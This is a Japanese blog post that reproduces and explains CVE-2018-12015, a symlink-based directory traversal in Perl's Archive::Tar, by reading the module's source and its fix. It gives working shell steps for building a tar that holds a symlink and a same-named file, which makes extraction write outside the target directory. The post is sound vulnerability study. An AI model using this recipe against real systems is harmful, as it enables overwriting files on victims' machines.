概要
少し前ですが、PerlのArchive::Tarモジュールにディレクトリトラバーサルの脆弱性が見つかりました(CVE-2018-12015)。
oss-sec: Perl: CVE-2018-12015: Archive::Tar: directory traversal vulnerability
この脆弱性はRedHatのページでCVSSスコア5.4とかなので特別高いわけではなく世間的にも全く話題になっていないのですが、どうやってこの脆弱性が起きるのか気になってしまったので調べました。
#Zip Slipの方じゃなくて全く話題になってないやつです。
実験
とりあえず試してみます。上のページに攻撃方法が載っています。
$ tar -tvvf traversal.tar.gz lrwxrwxrwx root/root 0 2018-06-05 18:55 moo -> /tmp/moo -rw-r--r-- root/root 4 2018-06-05 18:55 moo $ pwd /home/jwilk $ ls /tmp/moo ls: cannot access '/tmp/moo': No such file or directory $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")' $ ls /tmp/moo /tmp/moo
どうやら同じファイル名でtar.gzに入れてその片方をシンボリックリンクにしておくと、その向き先にもう一つのファイルの内容を書き込めるようです。
ではまず適当にシンボリックリンクを作ります。
$ ln -s /tmp/moo moo
そして次に同じファイル名を...と思って気づいたのですが、普通にやるとファイルシステム的には同じファイル名を許容しないので作れない。。
tarの内部的にはヘッダーのnameに入るだけだと思うので同じnameでも許容されるであろうことは直感的には分かるのですが、作り方は知りませんでした。 プログラム書けば出来るだろうけど、面倒だしな...と思っていて調べたらtarのtransformオプションに気づきました。 こいつを使えばアーカイブ時にパス名を書き換えられるようです。
$ cat <<EOF > foo #!/bin/sh echo foo EOF $ tar zcvf traversal.tar.gz * --transform='s/foo/moo/g' foo moo
中身を確認してみます。
$ tar -tvvf traversal.tar.gz -rw-r--r-- root/root 20 2018-06-27 00:39 moo lrwxrwxrwx root/root 0 2018-06-27 00:00 moo -> /tmp/moo
無事に同じファイルで書き込めました。 あとはPerlを実行するだけです。
$ ls /tmp/moo ls: cannot access '/tmp/moo': No such file or directory $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")' Making symbolic link '/root/traversal/moo' to '/tmp/moo' failed at -e line 1. $ cat /tmp/moo #!/bin/sh echo foo
ということで無事に成功しました。
詳細
何でこんな事が起きるんだっけ?ということを確認します。 以下で今回の脆弱性について話されているようです。
Bug #125523 for Archive-Tar: CVE-2018-12015 directory traversal vulnerability
Perl全然詳しくないのでモジュールのソースコード見たい場合はどこを見るのが正しいかすら知らないのですが、GitHubに見つけたのでこれを使って調査します(どこかのミラーなんですかね)。
今回の脆弱性の修正箇所は以下にあります。
if (-l $full || -e _) { if (!unlink $full) { $self->_error( qq[Could not remove old file '$full': $!] ); return; } }
Perlは相変わらず省略が多くて読みにくいですが、 -l $full
のところではファイルがシンボリックリンクか確認しています。
また、 -e _
では、 _
が直前にファイルテスト演算子でテストしたファイルになるようなので、 $full
が存在するかの確認になるようです。
つまり、ファイルがシンボリックリンクだったり既に存在しているようであれば削除するという処理になります。
次に、この下の処理を確認してみます。
if( length $entry->type && $entry->is_file ) { my $fh = IO::File->new; $fh->open( $full, '>' ) or ( $self->_error( qq[Could not open file '$full': $!] ), return ); if( $entry->size ) { binmode $fh; syswrite $fh, $entry->data or ( $self->_error( qq[Could not write data to '$full'] ), return ); }
$full
をopenして、そこに $entry->data
を書き込んでいることが分かります。
ソースコードを読むだけでは面白くないので、実行して中身を見てみます。
適当にopenの前とかにDumperを挟んでみます。
print Dumper $full; $fh->open( $full, '>' ) or ( ...
インストール方法はREADMEに書いてあります。
perl Makefile.PL make make test (optional but recommended) make install
この状態で再度実行します。
$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")' $VAR1 = '/root/traversal/moo';
$full
には単にファイルのフルパスが入っているようです。
次に $entry
も見てみます。
$VAR1 = bless( { 'chksum' => 4336, 'raw' => 'moo0000644000000000000000000000002413307364634010360 0ustar rootroot', 'mode' => 420, 'version' => ' ', 'gid' => 0, 'data' => '#!/bin/sh echo foo ', 'magic' => 'ustar', 'name' => 'moo', 'uname' => 'root', 'type' => '0', 'devmajor' => 0, 'size' => 20, 'linkname' => '', 'prefix' => '', 'mtime' => 1528687004, 'devminor' => 0, 'uid' => 0, 'gname' => 'root' }, 'Archive::Tar::File' );
tarのヘッダに入っているような情報が含まれているようです。
そして実際のデータは data
の中に入っていました。
シンボリックリンクの方は以下のようになっており、 linkname
にリンクされている先が入っているようです。
$VAR1 = bless( { 'name' => 'moo', 'gid' => 0, 'magic' => 'ustar', 'raw' => 'moo0000777000000000000000000000000013314551645011671 2/tmp/mooustar rootroot', 'mode' => 511, 'chksum' => 5049, 'version' => ' ', 'linkname' => '/tmp/moo', ...
一応 $full
がどこから来ているかも確認しておきます。
my $full = File::Spec->catfile( $dir, $file );
単に $dir
と $file
を結合しているだけのようです、
$file
は以下のように $name
から来ており、これは $entry
から来ているので、結局ヘッダ内の情報を使っているようです。
if ( defined $alt ) { # It's a local-OS path ($vol,$dirs,$file) = File::Spec->splitpath( $alt, $entry->is_dir ); } else { ($vol,$dirs,$file) = File::Spec::Unix->splitpath( $name, $entry->is_dir ); }
つまりまとめると、以下のような流れになります。
1つめのmoo(シンボリックリンク)
- mooというファイル名(正確にはパスも含む)をヘッダから取り出す
- mooというファイルをopenする(存在しないので新規作成)
- linknameを使ってシンボリックリンクを生成する
2つめのmoo(実際のファイル)
- mooというファイル名をヘッダから取り出す
- mooというファイルをopenする
- しかしmooは既に存在するので、上で作ったシンボリックリンクをopenしたことになる
- その中にdataを書き込む
- リンクされた先(上記では
/tmp/moo
)に書き込まれる
ポイントとしてはnameとdataが分離されて保存されているところかと思います。同じnameでopen処理をすると最初に作られたファイルがopenされてしまいそこにdataが書き込まれる、というのが分かれば特に難しい脆弱性ではありません。分かれば簡単、といういつものパターンです。
雑に言えばmooというファイルにfooって書き込もうとしたら、既にmooが存在していて /tmp/moo
にシンボリックリンクがはられていたので、そっちにfooが書き込まれてしまった、というイメージですね。
$ ln -s /tmp/moo moo $ echo foo > moo $ cat /tmp/moo foo
まとめ
tarを解凍するときにディレクトリトラバーサルできるという脆弱性について調べました。 シンボリックリンクと同じファイル名でアーカイブしておくと、その内容がシンボリックリンクの先に書き込まれます。
実際にモジュールを動かしながら検証すると色々気づきがあって面白かったです。 最初に脆弱性概要を見たときにはぱっとイメージが沸かなかったので、今回少し賢くなりました。